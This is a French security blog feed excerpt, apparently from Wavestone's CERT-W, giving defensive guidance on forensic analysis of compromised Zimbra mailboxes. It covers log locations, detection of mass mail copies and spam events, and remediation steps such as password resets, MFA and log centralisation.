<p style="text-align: justify;">En guise de maigre compensation, Zimbra journalise certaines opérations internes, notamment les <strong>actions de copie</strong> réalisées dans la boîte mail. Un attaquant pourrait, par exemple, créer un dossier pour stocker des mails sensibles avant extraction.</p>
<p style="text-align: justify;">La commande suivante permet notamment de repérer <strong>une copie massive de messages</strong> dans un dossier (ici nommé « <em>Exfiltration</em> ») depuis le client Web :</p>
<figure id="attachment_28685" aria-describedby="caption-attachment-28685" style="width: 1254px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28685" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-1-2.png" alt="Récupération des événements de copie massive de mails (mailbox.log) (1/2)" width="1254" height="785" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-1-2.png 1254w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-1-2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-1-2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-1-2-768x481.png 768w" sizes="auto, (max-width: 1254px) 100vw, 1254px" /><figcaption id="caption-attachment-28685" class="wp-caption-text"><em>Récupération des événements de copie massive de mails (mailbox.log) (1/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">La commande suivante permet notamment de repérer <strong>une copie massive de messages</strong> dans un dossier depuis un client lourd IMAP :</p>
<figure id="attachment_28688" aria-describedby="caption-attachment-28688" style="width: 1129px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28688" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-2-2.png" alt="Récupération des événements de copie massive de mails (mailbox.log) (2/2)" width="1129" height="708" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-2-2.png 1129w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-2-2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-2-2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Recuperation-des-evenements-de-copie-massive-de-mails-mailbox.log-2-2-768x482.png 768w" sizes="auto, (max-width: 1129px) 100vw, 1129px" /><figcaption id="caption-attachment-28688" class="wp-caption-text"><em>Récupération des événements de copie massive de mails (mailbox.log) (2/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien qu’il existe des cas légitimes (ex : sauvegarde manuelle par l’utilisateur), ce type d’activité doit <strong>attirer l’attention</strong>, surtout lorsqu’il est corrélé avec :</p>
<ul style="text-align: justify;">
<li>Des connexions depuis des adresses IP inhabituelles</li>
<li>Des authentifications suspectes</li>
<li>Des envois massifs de mails</li>
</ul>
<p style="text-align: justify;">Mais comme vous pouvez le constater, il est <strong>très difficile d’infirmer</strong> <strong>une</strong> <strong>exfiltration</strong>. Il faut donc considérer que, si une <strong>boîte est compromise</strong>, l’attaquant a potentiellement eu la possibilité de <strong>télécharger l’ensemble des courriels</strong> de l’utilisateur concerné.</p>
<p> </p>
<h3>Détection des solutions antivirus et antispam</h3>
<p style="text-align: justify;">On ne l’a pas trop abordé jusqu’à maintenant, mais il faut savoir que Zimbra intègre nativement <strong>Amavis</strong>, un composant « central » qui <strong>orchestre différents moteurs de sécurité</strong>. Ces moteurs permettent d’identifier des fichiers suspects, des campagnes de phishing ou encore des envois massifs de spam. Il est donc intéressant d’exploiter ces mécanismes de détection dans le cadre de l’analyse des activités d’un attaquant.</p>
<p style="text-align: justify;">Durant vos investigations, l’examen des messages générés par Amavis permet notamment de mettre en évidence :</p>
<ul>
<li style="text-align: justify;">Les <strong>messages bloqués</strong> avant qu’ils n’atteignent la boîte aux lettres de l’utilisateur (ex. tentatives de spoofing)</li>
<li style="text-align: justify;">Les <strong>pièces jointes malveillantes</strong> détectées et placées en quarantaine,</li>
<li style="text-align: justify;">Le <strong>non-respect de certaines politiques de sécurité</strong> définies sur la plateforme.</li>
</ul>
<p> </p>
<h4>Amavis</h4>
<p style="text-align: justify;">Il est possible de récupérer certains événements générés par<strong> Amavis </strong>avec les commandes suivantes :</p>
<figure id="attachment_28691" aria-describedby="caption-attachment-28691" style="width: 1124px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28691" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Recuperation-des-evenements-amavis-mail.log_.png" alt="Récupération des événements amavis (mail.log)" width="1124" height="185" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Recuperation-des-evenements-amavis-mail.log_.png 1124w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Recuperation-des-evenements-amavis-mail.log_-437x72.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Recuperation-des-evenements-amavis-mail.log_-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Recuperation-des-evenements-amavis-mail.log_-768x126.png 768w" sizes="auto, (max-width: 1124px) 100vw, 1124px" /><figcaption id="caption-attachment-28691" class="wp-caption-text"><em>Récupération des événements amavis (mail.log)</em></figcaption></figure>
<figure id="attachment_28693" aria-describedby="caption-attachment-28693" style="width: 1127px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28693" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Recuperation-des-evenements-amavis-mailbox.log_.png" alt="Récupération des événements amavis (mailbox.log)" width="1127" height="272" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Recuperation-des-evenements-amavis-mailbox.log_.png 1127w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Recuperation-des-evenements-amavis-mailbox.log_-437x105.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Recuperation-des-evenements-amavis-mailbox.log_-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Recuperation-des-evenements-amavis-mailbox.log_-768x185.png 768w" sizes="auto, (max-width: 1127px) 100vw, 1127px" /><figcaption id="caption-attachment-28693" class="wp-caption-text"><em>Récupération des événements amavis (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Les événements générés par Amavis étant <strong>nombreux</strong>, il peut être judicieux de concentrer vos recherches sur les détections liées au <strong>spam</strong> et au <strong>phishing</strong>. À noter que l’identification des messages de phishing a déjà été abordée dans une section précédente de cet article (« <em>Compromission du compte par attaque de phishing »</em>).</p>
<p> </p>
<h4>Spams entrants</h4>
<p style="text-align: justify;">Il peut être pertinent d’identifier les messages ayant généré des<strong> détections de spams entrants. </strong>Lorsqu’un message est classé comme spam, Zimbra génère des traces qui indiquent la<strong> raison de cette catégorisation.</strong></p>
<p style="text-align: justify;">Ces événements peuvent contenir <strong>plusieurs informations intéressantes</strong> :</p>
<ul style="text-align: justify;">
<li>Le compte concerné,</li>
<li>L’identifiant unique du message dans la boîte aux lettres,</li>
<li>L’adresse IP d’origine du mail,</li>
<li>Additionnellement dans le cas d&rsquo;un SpamReport :
<ul>
<li>Le résultat de l’analyse (champ isSpam),</li>
<li>L’action appliquée (par exemple : déplacement du dossier Inbox vers Junk),</li>
<li>Et parfois le destinataire du rapport utilisé pour l’apprentissage ou le signalement (par ex. une adresse dédiée spam@wavestone.corp).</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">La commande suivante peut vous aider à <strong>identifier les événements liés au traitement des spams entrants :</strong></p>
<figure id="attachment_28696" aria-describedby="caption-attachment-28696" style="width: 1124px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28696" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Recuperation-des-evenements-lie-aux-spams-entrantszimbra.log_.png" alt="Récupération des événements lié aux spams entrants (zimbra.log)" width="1124" height="456" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Recuperation-des-evenements-lie-aux-spams-entrantszimbra.log_.png 1124w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Recuperation-des-evenements-lie-aux-spams-entrantszimbra.log_-437x177.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Recuperation-des-evenements-lie-aux-spams-entrantszimbra.log_-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Recuperation-des-evenements-lie-aux-spams-entrantszimbra.log_-768x312.png 768w" sizes="auto, (max-width: 1124px) 100vw, 1124px" /><figcaption id="caption-attachment-28696" class="wp-caption-text"><em>Récupération des événements lié aux spams entrants (zimbra.log)</em></figcaption></figure>
<figure id="attachment_28698" aria-describedby="caption-attachment-28698" style="width: 1127px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Recuperation-des-evenements-lie-aux-spams-entrantsmailbox.log_.png" alt="Récupération des événements lié aux spams entrants (mailbox.log)" width="1127" height="154" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Recuperation-des-evenements-lie-aux-spams-entrantsmailbox.log_.png 1127w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Recuperation-des-evenements-lie-aux-spams-entrantsmailbox.log_-437x60.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Recuperation-des-evenements-lie-aux-spams-entrantsmailbox.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Recuperation-des-evenements-lie-aux-spams-entrantsmailbox.log_-768x105.png 768w" sizes="auto, (max-width: 1127px) 100vw, 1127px" /><figcaption id="caption-attachment-28698" class="wp-caption-text"><em>Récupération des événements lié aux spams entrants (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Les détections de spam générant de <strong>nombreux faux positifs</strong>, il peut être pertinent de <strong>réduire</strong> <strong>au maximum</strong> le <strong>périmètre</strong> <strong>de</strong> <strong>recherche</strong> (par exemple en ciblant une période précise ou un ensemble d’utilisateurs spécifiques).</p>
<p> </p>
<h4>Spams sortants</h4>
<p style="text-align: justify;">Le mal ne vient pas toujours de l’extérieur. Certains mails malveillants <strong>envoyés depuis des comptes internes compromis</strong> vers des destinataires externes peuvent laisser des <strong>traces très intéressantes</strong> dans les journaux Zimbra. En effet, si le message envoyé par le compte compromis est <strong>bloqué par la solution antispam du serveur mail destinataire</strong>, ce dernier renverra une notification d’erreur au serveur Zimbra pour signaler le refus.</p>
<p style="text-align: justify;">Analyser ces <strong>messages de non-livraison (NDR)</strong> peut alors vous mettre la puce à l’oreille :<br />cela peut révéler qu’un utilisateur est compromis… ou qu’un compte a été utilisé pour <strong>tenter d’envoyer des courriels malveillants</strong>.</p>
<p style="text-align: justify;">Il est possible d’extraire ces rejets de mails grâce à la commande suivante :</p>
<figure id="attachment_28700" aria-describedby="caption-attachment-28700" style="width: 1130px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28700" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Recuperation-des-evenements-lie-aux-spams-sortants.png" alt="Récupération des événements lié aux spams sortants" width="1130" height="188" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Recuperation-des-evenements-lie-aux-spams-sortants.png 1130w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Recuperation-des-evenements-lie-aux-spams-sortants-437x73.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Recuperation-des-evenements-lie-aux-spams-sortants-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Recuperation-des-evenements-lie-aux-spams-sortants-768x128.png 768w" sizes="auto, (max-width: 1130px) 100vw, 1130px" /><figcaption id="caption-attachment-28700" class="wp-caption-text"><em>Récupération des événements lié aux spams sortants</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Les spams sortants sont généralement peu nombreux. Toutefois, leur analyse ne devient réellement utile qu’en cas de <strong>tentative de latéralisation </strong>de l’attaquant vers des <strong>comptes mail externes</strong>.</p>
<p> </p>
<h2>Mesures de remédiations</h2>
<p style="text-align: justify;"><strong>Vous avez mené votre investigation tambour battant</strong> : utilisateurs compromis identifiés, adresses IP malveillantes répertoriées, activités suspectes décortiquées… bref, vous avez déroulé le fil de l’attaque avec une précision chirurgicale. Il est maintenant temps de passer à l’étape suivante : <strong>la remédiation</strong>. </p>
<p style="text-align: justify;">Celle-ci vise avant tout à <strong>supprimer les accès</strong> <strong>de l’attaquant</strong> à l’infrastructure, à mettre en place des mécanismes de <strong>détection </strong>capables de <strong>prévenir de nouvelles tentatives de compromission</strong> et à <strong>renforcer la sensibilisation</strong> des utilisateurs afin de limiter l’impact des campagnes de phishing <strong>en cours</strong> et <strong>à venir</strong>.</p>
<p style="text-align: justify;">Via la <strong>collecte les différents indicateurs</strong> liés à la campagne de phishing (comptes compromis ou suspectés de l’être, adresses e-mail, adresses IP et domaines malveillants, etc.), il est recommandé de mettre en œuvre une série d’actions <strong>correctives</strong> et <strong>préventives </strong>(non exhaustives): </p>
<ul style="text-align: justify;">
<li><strong>Réinitialiser les mots de passe des comptes suspects </strong>: Pour tout utilisateur compromis ou suspecté de l&rsquo;avoir été, une réinitialisation du mot de passe est nécessaire.</li>
<li><strong>Bloquer les domaines, adresses IP et adresses électroniques malveillantes </strong>: Les éléments d’infrastructure utilisés par l’attaquant (domaines, IPs, expéditeurs) doivent être bloqués via les solutions réseaux disponibles (proxy, pare-feu, filtres mail) dès leur détection. Cela limitera les risques de propagation.</li>
<li><strong>Effectuer un scan antivirus/EDR sur les postes des utilisateurs compromis</strong> : Les postes de travail des utilisateurs compromis doivent faire l’objet d’une analyse antivirus ou EDR afin de :
<ul>
<li>Détecter et supprimer tout fichier malveillant éventuel</li>
<li>Vérifier que les fichiers liés au phishing ne sont plus présents sur le poste</li>
</ul>
</li>
<li><strong>Renforcer la sensibilisation des utilisateurs </strong>: Une communication sur les campagnes de phishing en cours doit être adressée aux utilisateurs afin de prévenir de nouvelles compromissions. Des campagnes régulières de sensibilisation au phishing sont fortement conseillées, en particulier à destination des utilisateurs ayant été compromis.</li>
<li><strong>Mettre en place l’authentification multifacteur (MFA) pour l’accès aux mails Zimbra </strong>: La mise en œuvre d’un second facteur d’authentification est fortement recommandée pour sécuriser l’accès aux boîtes mail. Une telle mesure peut être perçu comme contraignant, l’usage d’un SSO (Single Sign-On) avec MFA unique permet de limiter cette friction tout en renforçant la sécurité globale des authentifications.</li>
<li><strong>Déployer une solution spécialisée de filtrage et de détection de phishing </strong>: il est recommandé de mettre en place une solution spécialisée dans la détection d’activités malveillantes dans les environnements de messagerie. La solution mise en place doit permettre d’identifier :
<ul>
<li>Les connexions depuis des IPs inhabituelles</li>
<li>Les tentatives de bruteforce sur les comptes utilisateurs</li>
<li>L’envoi massif de mails à de nombreux destinataires</li>
<li>L’usage de pièces jointes ou de liens suspects vers des domaines non fiables</li>
<li>Les campagnes de phishing actives (identifiées par un service CTI par exemple)</li>
</ul>
</li>
</ul>
<ul style="text-align: justify;">
<li><strong>Assurer la conservation des journaux Zimbra : </strong>Il est important de sécuriser la collecte et la conservation des journaux. Pour cela, il est recommandé de centraliser les logs de l’ensemble de l’infrastructure Zimbra sur un serveur externe à cette infrastructure. Cette approche garantit que, même en cas de compromission, de modification ou de chiffrement des serveurs Zimbra, les journaux restent intacts et consultables, permettant ainsi de mener des investigations forensiques fiables.</li>
</ul>
<p style="text-align: justify;">Bien que non exhaustives, ces mesures de remédiation vous permettront de <strong>restaurer la confiance</strong> dans votre infrastructure Zimbra et dans les comptes utilisateurs. Il sera toutefois nécessaire de maintenir un effort continu de <strong>surveillance</strong> et <strong>d’amélioration de la posture de sécurité</strong> afin de s’adapter aux <strong>menaces futures</strong>.</p>
<h1> </h1>
<p style="text-align: justify;">Au terme de cette petite enquête, une chose est sûre : si l’attaquant lui peut faire le choix de la facilité, l’analyste forensique, lui, n’a pas cette chance. Entre les <strong>journaux éparpillés</strong> (ou parfois <strong>manquants</strong>), les <strong>témoignages discordants</strong> des utilisateurs ou encore le <strong>manque de visibilité</strong> sur certains événements Zimbra : mener l’investigation revient parfois à <strong>résoudre un Rubik’s Cube</strong>… <strong>dans le noir</strong>… <strong>avec des moufles</strong>.</p>
<p style="text-align: justify;">Mais avec une <strong>bonne méthodologie</strong> et <strong>quelques réflexes</strong>, Zimbra vous révèlera bien plus d’informations qu’on ne pourrait le croire au premier abord. Ses journaux constituent une <strong>véritable mine d’or</strong>, à condition de ne <strong>pas s’y perdre</strong>.</p>
<p style="text-align: justify;">In fine, cet article n’a pas la prétention de transformer chaque lecteur en <strong>maître Jedi du forensique Zimbra</strong>… mais s’il peut vous éviter de passer deux jours à tenter de <strong>décoder les journaux Zimbra</strong> ou à chercher où <strong>dénicher la bonne information</strong>, alors l’objectif est atteint !</p>
<p style="text-align: justify;">Et comme on le dit assez souvent, dans la cybersécurité comme ailleurs, <strong>mieux vaut prévenir que guérir</strong>. Alors durcissez votre infrastructure Zimbra, sauvegardez vos journaux, sensibilisez vos utilisateurs… et surtout, ne négligez pas la réserve de café !</p>
<p> </p>
<h1>Références</h1>
<ul>
<li><a href="https://wiki.zimbra.com/wiki/Log_Files"><span style="color: #000080;">https://wiki.zimbra.com/wiki/Log_Files</span></a></li>
<li><a href="https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview"><span style="color: #000080;">https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview</span></a></li>
<li><a href="https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes"><span style="color: #000080;">https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes</span></a></li>
</ul>
<p> </p>
<p> </p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-2/">Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 2)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/01/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 1)</title>
		<link>https://www.riskinsight-wavestone.com/2025/12/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-1/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/12/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-1/#respond</comments>
		
		<dc:creator><![CDATA[Evenson Jeunesse]]></dc:creator>
		<pubDate>Thu, 18 Dec 2025 09:07:03 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[CERT-W]]></category>
		<category><![CDATA[compromission]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[Incident response]]></category>
		<category><![CDATA[incident response CERT-W]]></category>
		<category><![CDATA[Investigation]]></category>
		<category><![CDATA[Réponse à incident]]></category>
		<category><![CDATA[SPF]]></category>
		<category><![CDATA[Spoofing]]></category>
		<category><![CDATA[Zimbra]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28432</guid>

					<description><![CDATA[<p>Les attaques les plus simples sont souvent les meilleures. Dans la majorité des entreprises, les portails d’accès aux messageries sont exposés sur internet et ne bénéficient pas toujours de mécanismes de contrôle d’accès suffisants. De plus, certains services de messagerie...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/12/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-1/">Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 1)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Les attaques les plus <strong>simples</strong> sont souvent les <strong>meilleures</strong>.</p>
<p style="text-align: justify;">Dans la majorité des entreprises, les <strong>portails d’accès aux messageries</strong> sont <strong>exposés sur internet </strong>et ne bénéficient pas toujours de <strong>mécanismes de contrôle d’accès suffisants</strong>. De plus, certains services de messagerie proposent des<strong> fonctionnalités étendues</strong> dépassant la simple consultation des courriels, telles que le <strong>partage de fichiers</strong> ou l’accès à des <strong>applications collaboratives</strong>.</p>
<p style="text-align: justify;">Les services de messagerie peu sécurisés représentent donc <strong>une cible de premier choix pour les attaquants</strong>. En effet, la <strong>compromission d’une boîte mail </strong>permet par la suite de <strong>lancer des campagnes de phishing</strong>, d’<strong>accéder à des données sensibles</strong>, de <strong>réaliser des actions de fraude</strong> ou encore d&rsquo;obtenir<strong> l’accès</strong> <strong>à d’autres services.</strong></p>
<p style="text-align: justify;">Au <strong>CERT-W</strong>, nous intervenons régulièrement sur ce type de compromissions. En particulier, plusieurs de nos investigations en 2025 ont impliqué la <strong>compromission de comptes de messagerie</strong> <strong>Zimbra</strong>, une solution utilisée dans de nombreuses organisations publiques et privées. Face à ces incidents, nous nous sommes aperçus d’un <strong>manque criant de documentation</strong> <strong>forensique</strong> spécifique aux infrastructures Zimbra.</p>
<p style="text-align: justify;">Cet article est donc notre humble contribution visant à combler ce vide. Nous y partageons une approche <strong>pragmatique</strong> et <strong>quelques astuces</strong> pour gagner du temps dans vos analyses sur ce type d’environnement, ainsi que quelques actions de remédiation.</p>
<p> </p>
<h2>L&rsquo;infrastructure Zimbra</h2>
<p style="text-align: justify;">Si vous n’êtes pas encore familier avec les infrastructures Zimbra, pas de panique : <strong>cette section est là pour vous</strong> ! Pour les plus initiés, vous pouvez directement filer à la section investigation (<em>on ne vous en voudra pas</em>).</p>
<p> </p>
<h3>L’architecture</h3>
<p style="text-align: justify;">Zimbra, ce n’est pas juste « <em>un serveur mail de plus</em> ». C’est toute une <strong>suite collaborative open source</strong> assez complète, qui réunit plusieurs briques bien pratiques :</p>
<ul style="text-align: justify;">
<li><strong>Un serveur de messagerie :</strong> le cœur du système.</li>
<li><strong>Un gestionnaire de calendriers, contacts et tâches :</strong> pour ne jamais oublier la réunion de 9h.</li>
<li><strong>Un client web :</strong> accessible depuis n’importe quel navigateur.</li>
<li><strong>Des services complémentaires :</strong> antispam, antivirus, synchronisation mobile, etc.</li>
</ul>
<p style="text-align: justify;">Mais comme toute infrastructure utilisée par des centaines (voire des milliers) d’utilisateurs en simultané, le dimensionnement et la performance deviennent vite des sujets importants. C’est pourquoi Zimbra peut être déployé de deux façons :</p>
<ul style="text-align: justify;">
<li><strong>En mode monolithique :</strong> tout sur un seul serveur (simple, efficace… jusqu’à un certain point).</li>
<li><strong>En mode distribué :</strong> plusieurs serveurs, chacun avec un rôle précis, pour mieux gérer la charge, la disponibilité et la maintenance.</li>
</ul>
<p> </p>
<p style="text-align: justify;">Schématiquement, une infrastructure Zimbra distribuée ressemble à ceci :</p>
<figure id="attachment_28433" aria-describedby="caption-attachment-28433" style="width: 1277px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28433" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-FR.png" alt="Architecture d'une infrastructure Zimbra distribuée" width="1277" height="683" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-FR.png 1277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-FR-357x191.png 357w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-FR-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-FR-768x411.png 768w" sizes="auto, (max-width: 1277px) 100vw, 1277px" /><figcaption id="caption-attachment-28433" class="wp-caption-text"><em>Architecture d&rsquo;une infrastructure Zimbra distribuée</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien que l&rsquo;architecture puisse varier, on retrouve généralement les composants suivants :</p>
<ul style="text-align: justify;">
<li><strong>Serveur Proxy :</strong> il constitue le point d’entrée pour les clients Web, IMAP/POP et ActiveSync. Les journaux générés à ce niveau fournissent une visibilité sur les connexions utilisateurs (adresses IP, user agent, dates, etc.).</li>
<li><strong>Serveur Web Client (Mailboxd UI) :</strong> il héberge l’interface Webmail utilisée par les utilisateurs pour accéder à leur messagerie via un navigateur.</li>
<li><strong>Serveur de messagerie (Mailboxd) :</strong> il héberge les boîtes aux lettres des utilisateurs et assurent la gestion des messages, dossiers et calendriers. Ce composant génère les journaux les plus riches (par ex. <em>mailbox.log</em>, <em>audit.log</em>, <em>sync.log</em>).</li>
<li><strong>Serveur MTA (Message Transfer Agent)</strong>: il reçoit les courriels via SMTP et acheminent les messages, à l’aide du protocole LMTP (<em>Local Mail Transfer Protocol</em>) vers le serveur de messagerie Zimbra approprié.<br />Le rôle du MTA Zimbra repose sur plusieurs services complémentaires :
<ul>
<li><strong>Postfix MTA :</strong> routage, relais et filtrage des messages (y compris des pièces jointes).</li>
<li><strong>ClamAV </strong>: moteur antivirus chargé d’analyser les messages et leurs pièces jointes.</li>
<li><strong>SpamAssassin et DSPAM :</strong> filtres de spam exploitant divers mécanismes pour identifier les courriels indésirables.</li>
<li><strong>Amavis </strong>: orchestrateur qui exécute les moteurs antivirus et antispam configurés, puis applique les politiques de traitement sur les messages entrants.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">Le <strong>serveur MTA</strong> occupe une place particulière dans l’infrastructure Zimbra. C’est à ce niveau que s’effectue la <strong>majorité des contrôles de sécurité</strong> appliqués aux <strong>courriels entrants</strong>. Le schéma ci-dessous présente les principales étapes de ce parcours d’analyse :</p>
<figure id="attachment_28435" aria-describedby="caption-attachment-28435" style="width: 1385px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28435" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-FR.png" alt="Processus d'analyse des mails entrants Zimbra" width="1385" height="550" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-FR.png 1385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-FR-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-FR-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-FR-768x305.png 768w" sizes="auto, (max-width: 1385px) 100vw, 1385px" /><figcaption id="caption-attachment-28435" class="wp-caption-text"><em>Processus d&rsquo;analyse des mails entrants Zimbra</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Dans le processus de réception d’un courriel entrant, le message est d’abord pris en charge par <strong>Postfix</strong>. Celui-ci le transfère ensuite à <strong>Amavis</strong> pour analyse.<br />Amavis va ensuite récupérer les <strong>différents moteurs d’analyse configurés</strong> et va soumettre le courriel à chacun d’eux afin d’obtenir leurs résultats.<br />En fonction des politiques définies, Amavis rend un verdict à Postfix : délivrer le message, le bloquer ou le déplacer vers un dossier spécifique.</p>
<p> </p>
<h3>Les journaux</h3>
<p style="text-align: justify;">À présent que vous êtes un expert en architecture Zimbra (<em>ou presque</em> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" />), vous avez sans doute remarqué que de <strong>nombreux services</strong> sont nécessaires pour <strong>assurer l’envoi</strong> et la <strong>réception</strong> des courriels des utilisateurs. La bonne nouvelle c’est que <strong>chacun de ces services génère ses propres journaux</strong>, offrant ainsi une <strong>visibilité </strong>non négligeable sur <strong>l’activité</strong> de l’infrastructure de messagerie. Et pour nous, analystes forensiques, c’est une excellente nouvelle ! <strong>Car on adore les journaux</strong> !</p>
<p style="text-align: justify;">L’étude des logs générés par Zimbra nous permettra en effet de <strong>reconstituer la chronologie</strong> <strong>d’une compromission</strong>, identifier les boîtes compromises, repérer des pièces jointes malveillantes ou encore détecter d’éventuels rebonds internes.</p>
<p style="text-align: justify;">Cette <strong>richesse d’informations</strong> est rendue possible grâce aux journaux principalement localisés dans :</p>
<ul style="text-align: justify;">
<li><strong>/opt/zimbra/log/mailbox.log</strong> : journal principal des activités utilisateurs (authentifications, envois/réceptions, manipulations de mails, dossiers, contacts, calendriers, etc.).</li>
<li><strong>/opt/zimbra/log/access_log</strong> : journal des accès Webmail (adresses IP, user-agents, URLs consultées).</li>
<li><strong>/opt/zimbra/log/audit.log</strong> : traces d’authentification (succès, échecs, mécanismes utilisés).</li>
<li><strong>/opt/zimbra/log/sync.log</strong> : traces des synchronisations mobiles (ActiveSync/EAS).</li>
<li><strong>/opt/zimbra/log/convertd.log</strong> : traces de conversion de fichiers (aperçus webmail, indexation).</li>
<li><strong>/opt/zimbra/log/clamd.log| /opt/zimbra/log/freshclam.log</strong> : activité de l’antivirus ClamAV.</li>
